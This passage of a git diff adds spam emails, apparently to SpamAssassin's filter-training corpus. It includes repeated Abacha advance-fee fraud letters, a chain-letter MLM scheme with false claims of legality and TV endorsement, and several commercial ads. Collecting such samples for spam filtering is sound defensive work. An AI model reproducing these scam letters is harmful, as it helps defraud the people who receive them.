(8.12.5/8.12.5) with ESMTP id g6M1NYhY039893 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 20:23:35 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6M1NY2e039889 + for cypherpunks-forward@ds.pro-ns.net; Sun, 21 Jul 2002 20:23:34 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M1NWhX039869 + for ; Sun, 21 Jul 2002 20:23:32 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id UAA22470 + for cypherpunks@ds.pro-ns.net; Sun, 21 Jul 2002 20:31:43 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id UAA22462 + for cypherpunks-outgoing; Sun, 21 Jul 2002 20:31:37 -0500 +Received: from helimore2514.com ([217.78.76.138]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id UAA22453 + for ; Sun, 21 Jul 2002 20:30:55 -0500 +Message-Id: <200207220130.UAA22453@einstein.ssz.com> +From: "BARRISTER JOHNSON AKERELE" +To: cypherpunks@einstein.ssz.com +Date: Mon, 22 Jul 2002 14:35:46 -0700 +Subject: REQUEST FOR ASSISTANCE +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by einstein.ssz.com id UAA22459 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + +BARRISTER ADEWALE COKER CHAMBERS +Legal Practitioners / Notary Public +Blk 804- Law House Building +Lagos-Nigeria. + +For your kind attention, + + + REQUEST FOR ASSISTANCE +It is my humble pleasure to write you this letter irrespective of the fact that you do not know me. However,I am in search of a reliable and trustworthy person that can handle a confidential transaction of this nature. + +I am BARRISTER ADEWALE COKER, a family lawyer to our former military rule,General Sani Abacha who died suddenly in power some years ago. Since his untimely demise, the family has suffered a lot of harassment from the regimes that succeeded him. The regime and even the present civilian government are made up of Abacha's enemies.Recently, the wife was banned from traveling outside Kano State their home state as a kind of house arrest and the eldest son still in detention.Although, a lot of money have been recovered from Mrs. Abacha since the death of her husband by the present government, there's still huge sums of money in hard currencies that we have been able to move out of the country for safe keeping to the tune of US$50 million.This money US$50 Million is already in North American and if you are interested,we will prepare you as the beneficiary of the total funds,and you will share 25% of the total funds after clearance from the Security Company. + +Note, there is no risk involved in this project because l am involved as Abacha's confidant.Please you should keep this transaction a top secret and we are prepared to do more business with you pending your approach towards this project.I await your urgent response.Thanks. + + +Yours Faithfully + +BARRISTER ADEWALE COKER. + + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00897.b95ab214fa940540786f7bb4284b275d b/bayes/spamham/spam_2/00897.b95ab214fa940540786f7bb4284b275d new file mode 100644 index 0000000..02c8f40 --- /dev/null +++ b/bayes/spamham/spam_2/00897.b95ab214fa940540786f7bb4284b275d @@ -0,0 +1,107 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MA41hY045136 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; 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    + + +jrennie + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00898.8b3fe8deaa79f08133be78fc63e726c9 b/bayes/spamham/spam_2/00898.8b3fe8deaa79f08133be78fc63e726c9 new file mode 100644 index 0000000..d10fe99 --- /dev/null +++ b/bayes/spamham/spam_2/00898.8b3fe8deaa79f08133be78fc63e726c9 @@ -0,0 +1,72 @@ +From fork-admin@xent.com Mon Jul 22 18:13:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 780B9440C9 + for ; Mon, 22 Jul 2002 13:12:45 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:45 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFkAI09861 for + ; Mon, 22 Jul 2002 16:46:10 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id DAA29782 for ; Mon, 22 Jul 2002 03:29:32 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1D9762940AA; Sun, 21 Jul 2002 19:15:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ok62214.com (unknown [217.78.76.138]) by xent.com (Postfix) + with SMTP id 649D0294098 for ; Sun, 21 Jul 2002 19:08:47 + -0700 (PDT) +From: "BARRISTER JOHNSON AKERELE" +Reply-To: adewale1@mail.com +To: fork@spamassassin.taint.org +Date: Mon, 22 Jul 2002 15:31:07 -0700 +Subject: REQUEST FOR ASSISTANCE +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: <20020722020847.649D0294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6MFkAI09861 +Content-Transfer-Encoding: 8bit + +BARRISTER ADEWALE COKER CHAMBERS +Legal Practitioners / Notary Public +Blk 804- Law House Building +Lagos-Nigeria. + +For your kind attention, + + + REQUEST FOR ASSISTANCE +It is my humble pleasure to write you this letter irrespective of the fact that you do not know me. However,I am in search of a reliable and trustworthy person that can handle a confidential transaction of this nature. + +I am BARRISTER ADEWALE COKER, a family lawyer to our former military rule,General Sani Abacha who died suddenly in power some years ago. Since his untimely demise, the family has suffered a lot of harassment from the regimes that succeeded him. The regime and even the present civilian government are made up of Abacha's enemies.Recently, the wife was banned from traveling outside Kano State their home state as a kind of house arrest and the eldest son still in detention.Although, a lot of money have been recovered from Mrs. Abacha since the death of her husband by the present government, there's still huge sums of money in hard currencies that we have been able to move out of the country for safe keeping to the tune of US$50 million.This money US$50 Million is already in North American and if you are interested,we will prepare you as the beneficiary of the total funds,and you will share 25% of the total funds after clearance from the Security Compan! +y. + +Note, there is no risk involved in this project because l am involved as Abacha's confidant.Please you should keep this transaction a top secret and we are prepared to do more business with you pending your approach towards this project.I await your urgent response.Thanks. + + +Yours Faithfully + +BARRISTER ADEWALE COKER. + + + + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00899.957a4f3be27468470183f978db53c753 b/bayes/spamham/spam_2/00899.957a4f3be27468470183f978db53c753 new file mode 100644 index 0000000..d438d77 --- /dev/null +++ b/bayes/spamham/spam_2/00899.957a4f3be27468470183f978db53c753 @@ -0,0 +1,72 @@ +From fork-admin@xent.com Mon Jul 22 18:13:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2359C440C8 + for ; Mon, 22 Jul 2002 13:12:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFkBI09889 for + ; Mon, 22 Jul 2002 16:46:11 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id DAA29765 for ; Mon, 22 Jul 2002 03:26:00 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5EB342940A7; Sun, 21 Jul 2002 19:14:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhst44.com (unknown [217.78.76.138]) by xent.com + (Postfix) with SMTP id 63DEB29409A for ; Sun, + 21 Jul 2002 19:12:34 -0700 (PDT) +From: "BARRISTER JOHNSON AKERELE" +Reply-To: adewale1@mail.com +To: fork@spamassassin.taint.org +Date: Mon, 22 Jul 2002 15:34:54 -0700 +Subject: REQUEST FOR ASSISTANCE +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: <20020722021234.63DEB29409A@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6MFkBI09889 +Content-Transfer-Encoding: 8bit + +BARRISTER ADEWALE COKER CHAMBERS +Legal Practitioners / Notary Public +Blk 804- Law House Building +Lagos-Nigeria. + +For your kind attention, + + + REQUEST FOR ASSISTANCE +It is my humble pleasure to write you this letter irrespective of the fact that you do not know me. However,I am in search of a reliable and trustworthy person that can handle a confidential transaction of this nature. + +I am BARRISTER ADEWALE COKER, a family lawyer to our former military rule,General Sani Abacha who died suddenly in power some years ago. Since his untimely demise, the family has suffered a lot of harassment from the regimes that succeeded him. The regime and even the present civilian government are made up of Abacha's enemies.Recently, the wife was banned from traveling outside Kano State their home state as a kind of house arrest and the eldest son still in detention.Although, a lot of money have been recovered from Mrs. Abacha since the death of her husband by the present government, there's still huge sums of money in hard currencies that we have been able to move out of the country for safe keeping to the tune of US$50 million.This money US$50 Million is already in North American and if you are interested,we will prepare you as the beneficiary of the total funds,and you will share 25% of the total funds after clearance from the Security Compan! +y. + +Note, there is no risk involved in this project because l am involved as Abacha's confidant.Please you should keep this transaction a top secret and we are prepared to do more business with you pending your approach towards this project.I await your urgent response.Thanks. + + +Yours Faithfully + +BARRISTER ADEWALE COKER. + + + + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00900.a5f6355af8a1891e683898c5b549e565 b/bayes/spamham/spam_2/00900.a5f6355af8a1891e683898c5b549e565 new file mode 100644 index 0000000..4b9b360 --- /dev/null +++ b/bayes/spamham/spam_2/00900.a5f6355af8a1891e683898c5b549e565 @@ -0,0 +1,198 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MNnRhY075986 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 18:49:28 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MNnRhx075978 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 18:49:27 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MNnGhY075906 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 18:49:17 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MNnGJ70358 + for ; Mon, 22 Jul 2002 19:49:16 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6MNnF913538 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 19:49:15 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6MNnER13515 + for ; Mon, 22 Jul 2002 19:49:14 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MNnCJ70342 + for ; Mon, 22 Jul 2002 19:49:13 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id SAA23809 + for cpunks@minder.net; Mon, 22 Jul 2002 18:57:31 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id SAA23796 + for cypherpunks-outgoing; Mon, 22 Jul 2002 18:55:44 -0500 +Received: from s1112.mb00.net (s1112.mb00.net [207.33.16.112]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id SAA23792 + for ; Mon, 22 Jul 2002 18:55:35 -0500 +Received: (from pmguser@localhost) + by s1112.mb00.net (8.8.8pmg/8.8.5) id PAA57096 + for :include:/usr/home/pmguser/pmgs/users/ebargains/delivery/1027370746.6389/rblk.10869; Mon, 22 Jul 2002 15:50:01 -0700 (PDT) +Message-Id: <200207222250.PAA57096@s1112.mb00.net> +From: Ebargains +To: cypherpunks@einstein.ssz.com +X-Info: Message sent by MindShare Design customer with ID "ebargains" +X-Info: Report abuse to list owner at ebargains@complaints.mb00.net +X-PMG-Userid: ebargains +X-PMG-Msgid: 1027370746.6389 +X-PMG-Recipient: cypherpunks@einstein.ssz.com +Old-Subject: CDR: Double The Speed of Your Computer! +Date: Mon, 22 Jul 2002 18:36:01 EDT +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Double The Speed of Your Computer! + + + + + + Double the Speed of Your Computer! + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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    + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00901.95250e8c5c190d1b0320b9e6fe0f5a82 b/bayes/spamham/spam_2/00901.95250e8c5c190d1b0320b9e6fe0f5a82 new file mode 100644 index 0000000..046666a --- /dev/null +++ b/bayes/spamham/spam_2/00901.95250e8c5c190d1b0320b9e6fe0f5a82 @@ -0,0 +1,96 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N9XdhY007742 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 04:33:39 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6N9Xcpn007712 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 04:33:38 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N9WAhX007251 + for ; Tue, 23 Jul 2002 04:32:10 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id EAA04477 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 04:40:41 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id EAA04462 + for cypherpunks-outgoing; Tue, 23 Jul 2002 04:39:18 -0500 +Received: from ppis1.bals-ash.co.uk ([194.205.187.194]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id EAA04387; + Tue, 23 Jul 2002 04:37:11 -0500 +From: PaulBennert4U0@msn.com +Received: from mx10.hotmail.com ([62.57.108.222]) by ppis1.bals-ash.co.uk + (Netscape Messaging Server 3.62) with ESMTP id 450; + Tue, 23 Jul 2002 10:36:16 +0100 +Message-ID: <00003aa81811$00002de7$00004495@mx1.mail.yahoo.com> +To: Undisclosed.Recipients@ppis1.bals-ash.co.uk +Subject: LOOK ! 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Two different annual reset crediting methods: Daily Average or +Annual Point-to-Point (no average). =09 + Call Safe Harbor Financial!=0A= +800-422-0557 Ask about the $50 +contracting bonus from Safe Harbor!(2)=09 +? or ? + +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 +=20 + Safe Harbor Financial, In. www.SafeHarborFinancial.com +FOR AGENT USE ONLY. NOT INTENDED FOR CONSUMER SOLICITATION PURPOSES. The +Market Choice III(sm) annuity is issued on form series LC115 (group) and +LS115A (individual), and state variations by North American Company for +Life and Health Insurance, Chicago, Illinois. This product and its +features may not be available in all states. "Dow Jones", "Dow Jones +Industrial Average (sm)" and "DJIA(sm)" are service marks of Dow Jones +and Company, Inc. and have been licensed for use for certain purposes by +North American Company. Russell 2000 Index is a trademark of Frank +Russell Company and has been licensed for use by North American Company. +"Standard & Poor's=AE", "S&P=AE", "S&P 500=AE", "Standard & Poor's 500 +Index=AE", "S&P MidCap 400 Index=AE" and "Standard & Poor's MidCap 400 +Index=AE" are trademarks of the McGraw-Hill Companies, Inc. and have = +been +licensed for use by North American Company. The NASDAQ-100=AE, = +NASDAQ-100 +INDEX=AE and NASDAQ=AE are registered marks of the NASDAQ Stock Market = +Inc. +(which with its affiliates are the "Corporations") and are licensed for +use by North American Company. The Market Choice III(sm) annuities are +not issued, endorsed, sold or promoted by the Corporations or any of the +Indexes listed above. THE CORPORATIONS MAKE NO WARRANTIES AND BEAR NO +LIABILITY WITH RESPECT TO THE MARKET CHOICE III(sm). *Commissions are +based upon rates as of 5/1/02. Commissions may vary by state and are +subject to change. **Participation rates are based upon rates as of +7/3/02 and are subject to change. Participation rate is based on the S&P +500=AE and DJIA(sm) and the Daily Average Crediting Method. Call Safe +Harbor for additional details on other indexes and participation rates. +1NASDAQ-100=AE is available on the Point-to-Point Index Crediting Option +only. 2Contracting Bonus will be paid once contracting with Safe Harbor +is complete and formal. +NDF-8079Z-ADII-421 Prt. 7/02 Exp. 9/15/2002 =20 +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net =20 + +Legal Notice =20 + +------=_NextPart_000_10CEB1_01C2319D.21A2F770 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Lock in Your Clients' Gains + + + +=20 + + =20 + + + =20 + + +
    =20 + + =20 + + + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    3D"Lock3D"Lock3D"Lock
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + +
    A winning = +combination: The Market=20 + Choice IIISM from North American
    + Company for Life & Health Insurance and Safe = +Harbor Financial!     +
    •Choose from up to = +five different=20 + index accounts: S&P 500®, = +DJIASM,=20 + S&P MidCap 400®, Russell = +2000®,=20 + & NASDAQ-100®1 +
    •Or, choose the = +security of the fixed account!
    •16% COMMISSION * = +& 80% PARTICIPATION RATE **
    •NO RISK OF LOSS FROM MARKET DECLINES!
    + YOUR CLIENTS WILL LOVE THE SECURITY OF THIS = +OUTSTANDING PRODUCT!     +
    •Annual transfer = +options available:=20 + change premium allocation after each contract = +anniversary. +
    •Two different annual = +reset crediting=20 + methods: Daily Average or Annual Point-to-Point (no = +average). +
    +
    =20 + + =20 + + + +
    3D"Call3D"Ask
    +
    — or = +—
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + + =20 + + + + =20 + + + + =20 + + + + + + =20 + + + + + +
    Please fill = +out the form below for more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +  
    + 3D"Safe +
    FOR AGENT USE ONLY. NOT = +INTENDED FOR=20 + CONSUMER SOLICITATION PURPOSES. The Market Choice = +III(sm) annuity=20 + is issued on form series LC115 (group) and LS115A = +(individual), and=20 + state variations by North American Company for Life and = +Health Insurance,=20 + Chicago, Illinois. This product and its features may not be = +available=20 + in all states. "Dow Jones", "Dow Jones = +Industrial Average=20 + (sm)" and "DJIA(sm)" are service marks of Dow = +Jones=20 + and Company, Inc. and have been licensed for use for certain = +purposes=20 + by North American Company. Russell 2000 Index is a trademark = +of Frank=20 + Russell Company and has been licensed for use by North = +American Company.=20 + "Standard & Poor's®", = +"S&P®",=20 + "S&P 500®", "Standard & Poor's = +500 Index®",=20 + "S&P MidCap 400 Index®" and "Standard = +&=20 + Poor's MidCap 400 Index®" are trademarks of the = +McGraw-Hill=20 + Companies, Inc. and have been licensed for use by North = +American Company.=20 + The NASDAQ-100®, NASDAQ-100 INDEX® and NASDAQ® = +are registered=20 + marks of the NASDAQ Stock Market Inc. (which with its = +affiliates are=20 + the "Corporations") and are licensed for use by = +North American=20 + Company. The Market Choice III(sm) annuities are not issued, = +endorsed,=20 + sold or promoted by the Corporations or any of the Indexes = +listed=20 + above. THE CORPORATIONS MAKE NO WARRANTIES AND BEAR NO = +LIABILITY WITH=20 + RESPECT TO THE MARKET CHOICE III(sm). *Commissions are based = +upon=20 + rates as of 5/1/02. Commissions may vary by state and are = +subject=20 + to change. **Participation rates are based upon rates as of = +7/3/02=20 + and are subject to change. Participation rate is based on = +the S&P=20 + 500® and DJIA(sm) and the Daily Average Crediting = +Method. Call=20 + Safe Harbor for additional details on other indexes and = +participation=20 + rates. 1NASDAQ-100® is available on the = +Point-to-Point=20 + Index Crediting Option only. 2Contracting Bonus = +will be=20 + paid once contracting with Safe Harbor is complete and = +formal.
    + NDF-8079Z-ADII-421 Prt. 7/02 Exp. 9/15/2002
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal Notice=20 +
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The 311 domain names will be resold to the highest +bidders and ultimately developed into substantial .ws web sites, giving +.ws even more publicity down the road. + +To be be removed http://www.netleads.ws/remove + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00907.74983d9d0d6ee3c681a48cf893f123b5 b/bayes/spamham/spam_2/00907.74983d9d0d6ee3c681a48cf893f123b5 new file mode 100644 index 0000000..85d652d --- /dev/null +++ b/bayes/spamham/spam_2/00907.74983d9d0d6ee3c681a48cf893f123b5 @@ -0,0 +1,674 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N0UthY092729 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 19:30:56 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6N0UtrB092726 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 19:30:55 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N0UphY092678 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 19:30:53 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6N0UoJ72114 + for ; Mon, 22 Jul 2002 20:30:50 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6N0Unu16827 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 20:30:49 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6N0UmR16806 + for ; Mon, 22 Jul 2002 20:30:48 -0400 +Received: from yahoo.com (tamqfl1-ar4-4-47-192-079.tamqfl1.dsl-verizon.net [4.47.192.79]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6N0UdJ72095 + for ; Mon, 22 Jul 2002 20:30:41 -0400 (EDT) + (envelope-from whenopportunityknocksssss@yahoo.com) +Message-Id: <200207230030.g6N0UdJ72095@locust.minder.net> +From: "Randy" +To: +Subject: Make thousands just sending emails. It's easy. +Sender: "Randy" +Mime-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Mon, 22 Jul 2002 20:57:58 -0400 +Reply-To: "Randy" +X-Priority: 1 (Highest) +Content-Transfer-Encoding: 8bit + +From: whenopportunityknocksssss@yahoo.com +To: +Subject: Earn money sending e-mails. It's easy! + NEW IMPROVED reports + +Dear Friend, + +You can earn a lot of money in the next 90 days sending e-mail. +Seem impossible? Is there a catch? NO, there is no catch; just +send your e-mails and be on your way to financial freedom. + +Basically, I send out as many of these e-mails as I can, then +people send me cash in the mail for information that I just e-mail +back to them. Everyday, I make a three minute drive to my P.O. Box +knowing that there are at least a few hundred dollars waiting for +me. And the best part, IT IS COMPLETELY LEGAL. + +Just read the next few paragraphs and see what you think. If you +like what you read, great! If you don't, read it again because you +must have missed something. + +"AS SEEN ON NATIONAL TELEVISION" + +"Making over a half million dollars every 6 months from your home +for an investment of only $25 US dollars expense ONE TIME. THANKS +TO THE COMPUTER AGE AND THE INTERNET, BE A MILLIONAIRE LIKE OTHERS +WITHIN A YEAR!!! Before you say, "No Way!" read the following. +This is the letter you've been reading about in the news lately. +Due to the popularity of this letter on the Internet, a major +nightly news program recently devoted an entire show to the +investigation of the program described below to see if it really +can make people money. + +The show also investigated whether or not the program was legal. +Their findings proved once and for all that there are absolutely +no laws prohibiting the participation in this program. This has +helped to show people that this is a simple, harmless, and fun way +to make some extra money at home. And, besides even if you never +got involved in the program, the reports themselves are well worth +the money. They can help you start and advertise ANY business on +the internet. That is, these reports stand alone and are +beneficial to anyone wishing to do business on the internet. + +The results of this show have been truly remarkable. So many +people are participating that those involved are doing much better +than ever before. Since everyone makes more as more people try it +out, its been very exciting to be a part of it lately. You will +understand once you experience it. + +"HERE IT IS BELOW" + +*** Print This Now For Future Reference *** + +The following income opportunity is one you may be interested in +taking a look at. It can be started with VERY LITTLE investment +($25) and the income return is TREMENDOUS!!! + +THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. + +It does not require you to come into contact with people, do any +hard work, and best of all, you never have to leave your house +except to get the mail. + +Simply follow the instructions, and you really can make this +happen. This e-mail order marketing program works every time if +you put in the effort to make it work. E-mail is the sales tool of +the future. Take advantage of this non-commercialized method of +advertising NOW! + +The longer you wait, the more savvy people will be taking your +business using e-mail. Get what is rightfully yours. Program +yourself for success and dare to think BIG. It sounds corny, but +it's true. You'll never make it big if you don't have this belief +system in place. + +MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It +is being taught in the Harvard Business School, and both Stanford +Research and the Wall Street Journal have stated that between 50% +and 65% of all goods and services will be sold through multi-level +methods. +This is a Multi-Billion Dollar industry and of the 500,000 +millionaires in the U.S., 20% (100,000) made their fortune in the +last several years in MLM. Moreover, statistics show 45people +become millionaires everyday through Multi-Level Marketing. + +You may have heard this story before, but Donald Trump made an +appearance on the David Letterman show. Dave asked him what he +would do if he lost everything and had to start over from scratch. +Without hesitating Trump said he would find a good network +marketing company and get to work. +The audience, started to hoot and boo him. He looked out at the +audience and dead-panned his response. "That's why I'm sitting up +here and you are all sitting out there!" + +With network marketing you have two sources of income. Direct +commissions from sales you make yourself and commissions from +sales made by people you introduce to the business. + +Residual income is the secret of the wealthy. It means investing +time and money once, and getting paid again and again and again. +In network marketing, it also means 